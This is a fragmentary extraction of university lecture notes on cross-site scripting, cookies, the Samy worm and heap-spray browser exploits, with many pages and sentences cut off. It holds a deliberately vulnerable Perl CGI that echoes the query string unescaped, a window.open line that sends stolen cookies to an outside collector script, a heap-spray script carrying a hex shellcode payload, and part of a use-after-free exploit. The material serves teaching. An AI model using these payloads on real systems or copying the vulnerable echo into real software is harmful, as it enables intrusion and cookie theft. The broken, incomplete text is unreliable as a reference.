cross site scripting
cross site scripting
Goals:
2
Computer and Network Security by Avi Kak Lecture 28
Back to TOC
that webpage. In all these cases, the web browser of the innocient victims was being exploited for spreading
spam. ]
Universal XSS. [See the paper “Subverting Ajax” by Stefano Di Paola and Giorgio Fedon
for other examples of UXSS. You can get to the paper by googling the author names.]
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=cross-site+scripting
security flaws. The technical details regarding the security flaws are maintained by other organizations such
as U.S. National Vulnerability Database (NVD), the CERT/CC Vulnerabilities Notes Database. ]
<!DOCTYPE html>
<html>
<head>
<title>Client Side XSS Simple Demo</title>
</head>
<body>
<h1>Client Side XSS -- Simple Demo</h1>
<p><?php echo $_GET[’query’]; ?>:</p>
</body>
</html>
5
Computer and Network Security by Avi Kak Lecture 28
6
Computer and Network Security by Avi Kak Lecture 28
Back to TOC
7
Computer and Network Security by Avi Kak Lecture 28
whose methods invoked via the dot operator that is so basic to object-oriented programming. ]
9
Computer and Network Security by Avi Kak Lecture 28
http://www.w3schools.com/js/default.asp .
10
Computer and Network Security by Avi Kak Lecture 28
Back to TOC
• Cookies are generally used to retain some data from one session
to another between a client browser and a web server.
• Enterprise web servers often use cookies that are stored in the
browsers to keep track of the interaction with their online
customers from one visit to the next. In this manner, after a
new client has been authenticated with, say, a password on the
first contact, the cookies can be relied upon for subsequent
automatic authentications. Cookies can also be used to store
customer preferences, tracking how customers view a web page,
and so on. [IMPORTANT: Are you bothered by all the
“popups” you see even after you have blocked the popups? The
popup-like things you see after you have blocked the popups are actually new instances of the browser
window created by HTTP redirects. There are two things you need to do to control this nuisance: you need
to control who gets to place cookies in your browser and you need to control which websites are allowed
HTTP redirects. Both of these are easily accomplished in Firefox by extending the browser with add-ons.
Click on the “Tools” menubutton at the top of your browser window and then click on the “Add-ons” button
in the pull-down menu that you’ll see. That will open up a new browser window with the following items on
it: (1) Get Add-ons; (2) Extensions; (3) Appearance; and (4) Plugins. If you have previously installed any
add-ons, you can see them and, if you want, disable them by clicking on the “Extensions” button. You can
install new add-ons by clicking on “Get Add-ons”. I highly recommend the following two
add-ons: (i) Cookie Whitelist with Buttons; and (2) NoRedirect. Both of these take a
11
Computer and Network Security by Avi Kak Lecture 28
while getting used to, but after you have become comfortable with them, your internet
surfing will be much more enjoyable and much more risk-free. I should also add that if
you check the cookies already stored in your browser, don’t be surprised if you see
hundreds if not thousands of them. Most of these cookies have landed in your browser
through the advertisements you see in practically all web pages these days. So,
conceivably, if you find a large number of cookies in your browser, there are hundreds,
and possibly thousands, of outfits out there who are keeping track of you and your
browsing habits through their cookies. If you really think about it, this
is such a huge invasion of your privacy. Additionally, the display of adware
through popups and through separate browser instances created by HTTP redirects is controlled by these
cookies. Only a very small number of outfits are allowed to place cookies in my computers. With the cookie
whitelisting add-on, you can also allow cookies just on a one-session basis. If you don’t use the cookie
whitelister, you can try to use the cookie controller that comes with the browser. But note that that is a
cookie blacklister. It is not as effective as it sounds. Let’s say you blacklist cookies from badgyus.net through
the blacklister that comes with Firefox. This organization will still be able to place cookies in your browser
12
Computer and Network Security by Avi Kak Lecture 28
• In order to get you ready for the example presented later on how
cookies can be stolen by third parties with a cross-site scripting
attack, in the rest of this section I’ll present an example of how
JavaScript can be used to set and change cookies in a browser.
• Now place the HTML file shown on the next page in the
13
Computer and Network Security by Avi Kak Lecture 28
• You will see a form in your browser with two text-entry boxes,
one for your name and the other for your wealth, and with a
“Submit Query” button. Enter a string for your name and an
integer for your wealth, and then click on the submit button.
When you click on the Submit button the first time, the
browser will show you for verification the information you just
entered in the form.
• Now just change the number in the “Wealth” box and see what
happens. And do this repeatedly. You will see that this page
keeps track of how many times you have visited the page in the
past and how your wealth has changed from one visit to the
next. As you enter the size of your wealth in the Wealth box,
without changing the entry in the Name box, and click on the
“Submit” button, you will see a popup in your browser that will
announce something like: [If this demo is not working for you, it could be
because you are using a cookie blocker. If you are using the Cookie Whitelister I
14
Computer and Network Security by Avi Kak Lecture 28
mentioned earlier, you can enable the cookies for just one session by clicking on the
green circular button you will see at the right end of your URL bar.]
• At each visit to the web page, the browser will store a cookie
that contains a string which looks like [The overall structure of a cookie
is explained in the red-blue note on page 20 of this lecture]:
6_visits_323456
where the first number, in this case 6, means that the cookie
with the string shown was stored in your 6th visit to the web
page, where the substring visits serves no real purpose, and
where the last number is what you entered for the size of your
wealth. [As you surely know already, you can see all the cookies in your browser through the
“Preferences” menu button that is usually in the “Edit” drop-down menu listed at the top of your
browser window. ]
15
Computer and Network Security by Avi Kak Lecture 28
16
Computer and Network Security by Avi Kak Lecture 28
//function load() {
// window.status="Checking user authentication";
//}
function checkEntry() {
var body = document.getElementsByTagName( "body" );
var msg = "The information you entered for verification: ";
var doc_element = document.createElement( "p" );
var textnode = document.createTextNode( msg );
doc_element.appendChild( textnode );
body[0].appendChild( doc_element );
var nameEntered = document.forms[0].yourname.value;
var wealthEntered =
document.forms["ACKentryform"].sizeofwealth.value;
createHTML( nameEntered, wealthEntered );
getSetCookie( nameEntered, wealthEntered );
return false;
}
function createHTML( ) {
var body = document.getElementsByTagName( "body" );
for( var i=0; i < arguments.length; i++ ) {
var argtext = arguments[i];
var doc_element = document.createElement( "p" );
var newtext = "You entered: " + argtext;
var textnode = document.createTextNode( newtext );
doc_element.appendChild( textnode );
body[0].appendChild( doc_element );
}
}
</script>
</head>
<body>
<form id="ACKentryform" action="#" onsubmit="return checkEntry();" method="post">
<p> Enter your name and the size of your wealth in this form:</p>
<br>
<br>
<p>Your Name <em>(Required)</em>: <input id="yournamebox"
name="yourname"
type="text" />
</p>
<p>Size of Your Wealth: <input id="sizeofwealthbox" name="sizeofwealth" type="text" />
</p>
<p><input id="formsubmit" type="submit" /> </p>
</form>
</body>
</html>
17
Computer and Network Security by Avi Kak Lecture 28
– All of the JavaScript code in the source for the web page is
in the form of function definitions. A JavaScript function
may be executed automatically upon the occurrence of an
event or because it has been called in the portion of the code
that is currently being executed.
18
Computer and Network Security by Avi Kak Lecture 28
– When your browser points to the above form, you will see
something like the following in your browser window:
Enter your name and the size of your wealth in this form:
Your name (Required): ___________
Size of your wealth: ___________
SUBMIT
function:
Note first of all that JavaScript functions are defined with the
keyword function and that the local variables defined with
the keyword var. The purpose of the code in lines (B)
through (J) is to create a verification message that will be
printed in the browser just below the form showing the user
what information they just entered in the form. You can think
of this as a verification step that the user might appreciate. [To
understand this code, recall that JavaScript creates a window object for each currently open window
in your browser. This window object contains a document object that is the DoM (Document Object
Model) of the web page that is displayed in the browser window. Again as mentioned previously, all
of the objects contained in the window object can be accessed directly, that is, without the dot
operator. So invoking document by itself returns the DoM tree structure. On the other hand,
The reason we want to get hold of this element is that we want to enter into it the message “The
20
Computer and Network Security by Avi Kak Lecture 28
line (D), create an HTML p element in line (D) and a text element from the message in line (E). Line
(F) makes the text element a child of the p element. Finally, we incorporate the new doc element in
the HTML body element in line (G). We then extract in lines (H) and (I) the information that the
user entered in the form. Eventually, we ask the createHTML() method to incorporate this
information in the browser window below the message shown above. [Lines (B) though (J) also
provide a simple example of how JavaScript can be used to create HTML content dynamically.] As
far as cookies are concerned, our story really begins in line (K) of the checkEntry() function. This is
in the form of the call getSetCookie(nameEntered, wealthEntered). Note that line (L) returns
false because the function checkEntry() is our onSubmit event handler — the onSubmit event
occurs when the user clicks on the Submit button — and, if this event handler were to return true,
21
Computer and Network Security by Avi Kak Lecture 28
}
var newCookieVal =
(howManyVisits + 1) + ’_’ + visit_portion + ’_’ + info;//(S)
setCookie( name, newCookieVal, 15 ); //(T)
} else { //(U)
var cookieValue = "1_visits" + ’_’ + info; //(V)
setCookie( name, cookieValue, 15 ); //(W)
}
}
}
To explain this code, note that a host from which the web page
is downloaded may create multiple cookies in your browser. If
that is the case, the command document.cookie will retrieve
from them all the first “name=value;” pair in each. This is
accomplished in line (B). [A cookie consists of “name=value” pairs and, in
general, there can be four such pairs in a cookie, OF WHICH ONLY THE FIRST IS
REQUIRED. As for what is in these four pairs: (1) For the first pair, the code writer must decide
what to call a cookie and what to set its value to. In the code shown above, I set the name of the
cookie to the name the user entered as their name in the form, and I set the value to a specially
formatted string that is a concatenation of the visit number, the word “visit”, and the size of the
wealth entered by the user. (2) About the optional second “name=value” pair, the “name” must be
“expires” and its value the expiration date. If this pair is not specified, the cookie only lives as long
as the current session between the client and the server. (3) The name in the third pair is “path”
that by default will be set to the document root ’/’ at the server. When set explicitly, it can be made
specific to a sub-directory of the of the document root, implying that a cookie will be used only for
HTML files coming from those subdirectories. (4) The name in the fourth pair is “domain”. By
default it is set to the symbolic hostname (or the IP address when the hostname is not available) of
site where the web server is located. It can however be set to the sub-domain of that domain. A
cookie may also have two other optional tags: “secure” and “httponly”. These are boolean in the
sense that their presence in a cookie affects how the cookie is allowed to be accessed. If the tag
“secure” is present, a cookie can only be set in an HTTPS session. And when the tag “httponly” is
22
Computer and Network Security by Avi Kak Lecture 28
present, client-side scripts are not allowed to access the cookie. To understand line (G), note that
all cookies[i] will be set to the first “name=value” pair in the ith cookie. So the call to split()
breaks this pair into its “name” part and the “value” part. Line (H) removes any white-space
characters that may be sticking to the beginning or the end of the name part of the cookie. Line (I)
proceeds to check if the cookie we are looking at was set by the person who has just filled out the
wealth tracker form. In line (J) we access the value part of the cookie; we clean it up in the same
manner we cleaned the name part. To understand the code in lines (K) through (R), recall what I
said earlier about what is stored in a cookie by the wealth tracker web page. The cookie that is
stored consists of three parts separate by the “ ” character: the first part is what numbered visit the
current web page download represents, the second part the word “visit”, and the third part a number
which is the size of the wealth entered by the user. In lines (K) through (R), we separate out these
three parts, we add one to the number of visits, update the size of the wealth, calculate the difference
between the wealth size and the new wealth size, and then display the change in an alert box in the
browser. Finally, in lines (S) we figure out the new value for the current cookie; it is set in the
browser in line (T). Obviously, if this happens to be the first visit by the user, the code in lines (I)
through (T) would not be executed. In this case, we set the cookie as shown in lines (V) and (W). ]
23
Computer and Network Security by Avi Kak Lecture 28
Back to TOC
distinction between viruses and worms as explained in Lecture 22, Samy should be called a virus and
not a worm. When a MySpace user viewed an infected profile, it was that act which infected the
profiles linked to his profile. The malware did NOT jump on its own from machine to
machine.) The basic action of the virus was to add the virus creator’s name to the list of heroes of
the other MySpace users. What made the virus sinister was that it was a self-replicating piece of
code. The virus was concocted to attach itself to the profile of any MySpace user who viewed an the
already infected profile of some other friend. This obviously caused the worm to jump from profile to
profile. (A profile is simply an HTML-based web page.) Keeping in mind what you learned in
Lecture 26 that, on the average, any two human beings are separated by a small number of “degrees
of freedom” — typically six — it is not surprising that this virus infected the profiles of a millions
MySpace users in less than a day. It must also be mentioned that the code used in the Samy
malware was highly obfuscated in order to get past the filters at the MySpace server. As a small
example of obfuscation, since the servers would not let through any code that contained the string
JavaScript, the writer of Samy simply placed the newline character ’\n’ between the “Java” and
“Script” portions of the string. Since browser parsers usually ignore all white-space characters (and
that includes the newline character), the two substrings still looked like the single string “JavaScript”
to most browsers, but the string matcher in the server filter was obviously fooled. ]
24
Computer and Network Security by Avi Kak Lecture 28
setTimeout(’displayData()’,2*1000);
To understand the role of the timer here, you also need to look
at the following statement in stateChecker():
data = xmlobj.responseText.split(’|’);
25
Computer and Network Security by Avi Kak Lecture 28
• You will also notice that this page has only scripts. Its <body>
element is empty. All of the information that is displayed in the
browser is fetched from the server through the JavaScript code.
26
Computer and Network Security by Avi Kak Lecture 28
27
Computer and Network Security by Avi Kak Lecture 28
document.getElementsByTagName(’body’)[0].appendChild
(div);
}
}
• Make sure that the document you fetch with the above script is
partitioned into different segments by the ’|’ character, unless
you wish to change the final argument in the statement
data = xmlobj.responseText.split(’|’);
function getXMLObj(){
var Z=false;
if(window.XMLHttpRequest){
try{
Z=new XMLHttpRequest()
} catch(e) {Z=false}
} else if(window.ActiveXObject){
try{
29
Computer and Network Security by Avi Kak Lecture 28
Z=new ActiveXObject(’Msxml2.XMLHTTP’)
} catch(e) {
try{
Z=new ActiveXObject(’Microsoft.XMLHTTP’)
} catch(e) {Z=false}
}
}
return Z
}
Nonetheless, it would be correct to say that the server itself did not contribute directly to the spread
of the malware. ]
30
Computer and Network Security by Avi Kak Lecture 28
Back to TOC
31
Computer and Network Security by Avi Kak Lecture 28
attack and the heap spray attack. These two attacks are
the focus of the next two sections.
• The reader should also become familiar with “The Open Web
Application Security Project” (OWASP) that is focused on
improving the security of web application software. Here is link
for OWASP: https://www.owasp.org/index.php/Main_Page
32
Computer and Network Security by Avi Kak Lecture 28
Back to TOC
• As with the server side XSS, we again need three parties for the
client-side XSS. Client-side XSS takes the form of an attacker
getting an innocent victim to click on a carefully crafted URL
to a web server. Unbeknownst to the victim, this URL carries a
query-string portion with embedded JavaScript code that is
designed to send the cookies stored in the client’s browser for
web server’s domain to the attacker’s machine. [The URL syntax allows
for what is known as a query-string to be appended to the name of the domain provided the two
portions are separated by the character ’ ?’. The query string consists of one or more “name=value”
pairs. The pairs must be separated by the character ’&’. The query strings when present are passed
on to an application program at the web server. This is how your search request is conveyed to a
http://ip_address_of_your_machine/cgi-bin/WealthTracker.cgi
Make sure you get the same response from this CGI script that
you got earlier from the WealthTracker.html file.
• Here is the code for the CGI. As you can see, the JavaScript
portion of the code is the same as what you saw earlier. As to
what makes this CGI script a participant in a 3-way cross-site
34
Computer and Network Security by Avi Kak Lecture 28
#!/usr/bin/perl -w
## file: WealthTracker.cgi
## Author: Avi Kak ([email protected])
## Date: April 18, 2011 (modified: April 18, 2013)
use strict;
print <<SCRIPTEND;
<script type = "text/javascript">
function setCookie( name, value, expires, path, domain, secure ) {
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );
document.cookie = name + "=" +escape( value ) +
((expires) ? ";expires=" + expires_date.toGMTString() : "") +
((path) ? ";path=" + path : "" ) +
((domain) ? ";domain=" + domain : "" ) +
( ( secure ) ? ";secure" : "" );
}
function getSetCookie(name, info) {
var all_cookies = document.cookie.split(’;’);
var cooky = ’’;
var nam = ’’;
var val = ’’;
for (i=0;i < all_cookies.length;i++) {
cooky = all_cookies[i].split(’=’);
nam = cooky[0].replace(/^\\s+|\\s+\$/g, ’’);
if (nam == name) {
val = unescape( cooky[1].replace(/^\\s+|\\s+\$/g, ’’) );
val_parts = val.split(’_’);
var howManyVisits = Number(val_parts[0]);
//alert("old visits number: " + howManyVisits);
var visit_portion = val_parts[1];
var prev_info = val_parts[2];
if (prev_info) {
35
Computer and Network Security by Avi Kak Lecture 28
function load() {
window.status="Checking user authentication";
}
function checkEntry() {
var body = document.getElementsByTagName( "body" );
var msg = "The information you entered for verification: ";
var doc_element = document.createElement( "p" );
var textnode = document.createTextNode( msg );
doc_element.appendChild( textnode );
body[0].appendChild( doc_element );
var nameEntered = document.forms[0].yourname.value;
var wealthEntered =
document.forms["ACKentryform"].sizeofwealth.value;
createHTML( nameEntered, wealthEntered );
getSetCookie( nameEntered, wealthEntered );
return false;
}
function createHTML( ) {
var body = document.getElementsByTagName( "body" );
for( var i=0; i < arguments.length; i++ ) {
var argtext = arguments[i];
var doc_element = document.createElement( "p" );
var newtext = "You entered: " + argtext;
var textnode = document.createTextNode( newtext );
doc_element.appendChild( textnode );
36
Computer and Network Security by Avi Kak Lecture 28
body[0].appendChild( doc_element );
}
}
</script>
SCRIPTEND
print "</head>";
print "<body>";
my $forminfo = ’’;
$forminfo = $ENV{QUERY_STRING};
$forminfo =~ tr/+/ /;
$forminfo =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg;
print "$forminfo";
print <<FORMEND;
<form id="ACKentryform" action="#" onsubmit="return checkEntry();" method="post">
<p> Enter your name and the size of your wealth in this form:</p>
<br>
<br>
<p>Your Name <em>(Required)</em>: <input id="yournamebox"
name="yourname"
type="text" />
</p>
<p>Size of Your Wealth: <input id="sizeofwealthbox" name="sizeofwealth" type="text" />
</p>
<p><input id="formsubmit" type="submit" /> </p>
</form>
FORMEND
print "</body>";
print "</html>";
• The reason that the above web page makes it possible for an
attacker to steal the cookies from a victim’s browser is the
following code fragment that you see in the above file:
my $forminfo = ’’;
$forminfo = $ENV{QUERY_STRING};
$forminfo =~ tr/+/ /;
$forminfo =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg;
print "$forminfo";
37
Computer and Network Security by Avi Kak Lecture 28
are replaced by the ’+’ character. Similarly, except for the ’.’ character and the alphanumeric
characters, the browser also replaces in the URL all other characters by the % symbol followed by
their hex representations. (This is referred to as URL encoding of a string that is meant to be a
URL.) The third and the fourth statements shown above are meant to reverse these transformations. ]
STEP 1: Fire up the Apache web server in a laptop that has the CGI
script WealthTracker.cgi in its cgi-bin directory. In what
follows, the IP address of this laptop is 10.0.0.11
38
Computer and Network Security by Avi Kak Lecture 28
window.open("https://engineering.purdue.edu/kak/cgi-bin/Collector.cgi?msg=" + cookie_info)
STEP 4: Now log into your account at the host mentioned in the
previous step, which in my case would be my main account at
Purdue, and display the contents of the file collections.txt. You
will see that the the collections.txt file at the “3rd party” web
server has “magically” acquired the cookie that was created by the
brower running on the demo laptop.
39
Computer and Network Security by Avi Kak Lecture 28
Back to TOC
– You then get the script engine to dereference any one of the
memory locations where the no-op bytes are stored;
40
Computer and Network Security by Avi Kak Lecture 28
• Filling up the memory in this fashion with no-op bytes for the
most part and with malicious code at the end is referred to as
heap spraying.
http://www.phreedom.org/research/heap-feng-shui/
http://pastebin.com/f7cd5b449
http://www.symantec.com/connect/blogs/
<script>
nopsled = unescape(’%u0a0a%u0a0a’);
payload = ’\x29\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x56’
41
Computer and Network Security by Avi Kak Lecture 28
payload += ’\x9f\xdc\xde\x83\xeb\xfc\xe2\xf4\xaa\xf5\x37\x93\xbe\x66\x23\x21’
payload += ’\xa9\xff\x57\xb2\x72\xbb\x57\x9b\x6a\x14\xa0\xdb\x2e\x9e\x33\x55’
payload += ’\x19\x87\x57\x81\x76\x9e\x37\x97\xdd\xab\x57\xdf\xb8\xae\x1c\x47’
payload += ’\xfa\x1b\x1c\xaa\x51\x5e\x16\xd3\x57\x5d\x37\x2a\x6d\xcb\xf8\xf6’
payload += ’\x23\x7a\x57\x81\x72\x9e\x37\xb8\xdd\x93\x97\x55\x09\x83\xdd\x35’
payload += ’\x55\xb3\x57\x57\x3a\xbb\xc0\xbf\x95\xae\x07\xba\xdd\xdc\xec\x55’
payload += ’\x16\x93\x57\xae\x4a\x32\x57\x9e\x5e\xc1\xb4\x50\x18\x91\x30\x8e’
payload += ’\xa9\x49\xba\x8d\x30\xf7\xef\xec\x3e\xe8\xaf\xec\x09\xcb\x23\x0e’
payload += ’\x3e\x54\x31\x22\x6d\xcf\x23\x08\x09\x16\x39\xb8\xd7\x72\xd4\xdc’
payload += ’\x03\xf5\xde\x21\x86\xf7\x05\xd7\xa3\x32\x8b\x21\x80\xcc\x8f\x8d’
payload += ’\x05\xdc\x8f\x9d\x05\x60\x0c\xb6\x96\x37\xc2\xdb\x30\xf7\xcc\x3f’
payload += ’\x30\xcc\x55\x3f\xc3\xf7\x30\x27\xfc\xff\x8b\x21\x80\xf5\xcc\x8f’
payload += ’\x03\x60\x0c\xb8\x3c\xfb\xba\xb6\x35\xf2\xb6\x8e\x0f\xb6\x10\x57’
payload += ’\xb1\xf5\x98\x57\xb4\xae\x1c\x2d\xfc\x0a\x55\x23\xa8\xdd\xf1\x20’
payload += ’\x14\xb3\x51\xa4\x6e\x34\x77\x75\x3e\xed\x22\x6d\x40\x60\xa9\xf6’
payload += ’\xa9\x49\x87\x89\x04\xce\x8d\x8f\x3c\x9e\x8d\x8f\x03\xce\x23\x0e’
payload += ’\x3e\x32\x05\xdb\x98\xcc\x23\x08\x3c\x60\x23\xe9\xa9\x4f\xb4\x39’
payload += ’\x2f\x59\xa5\x21\x23\x9b\x23\x08\xa9\xe8\x20\x21\x86\xf7\x2c\x54’
payload += ’\x52\xc0\x8f\x21\x80\x60\x0c\xde’
function spray_heap() {
var chunk_size = 0x80000;
</script>
42
Computer and Network Security by Avi Kak Lecture 28
43
Computer and Network Security by Avi Kak Lecture 28
<script>
function ev1(evt) {
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = ""; //(A)
window.setInterval(ev2, 1);
}
function ev2() {
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ ) {
obj[i].data = data;
}
event_obj.srcElement; //(B)
}
• The rest of the code you see above the line labeled (B) in the
implementation of the ev2() along with the initialization
portion of exploit shown below:
function initialize() {
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
45
Computer and Network Security by Avi Kak Lecture 28
46
Computer and Network Security by Avi Kak Lecture 28
this could set the script engine on the path to executing the
no-op bytes until it reaches the malicious code.
47
Computer and Network Security by Avi Kak Lecture 28
Back to TOC
• The w3af tool also comes with a user guide file named
w3af-users -guide.pdf that you will find useful. The
48
Computer and Network Security by Avi Kak Lecture 28
• Folks who are working on the w3af project say that this
framework is to the testing of web applications what the
Metasploit framework is to the testing of networks in general.
We talked about the Metasploit framework in Section 23.5 of
Lecture 23.
49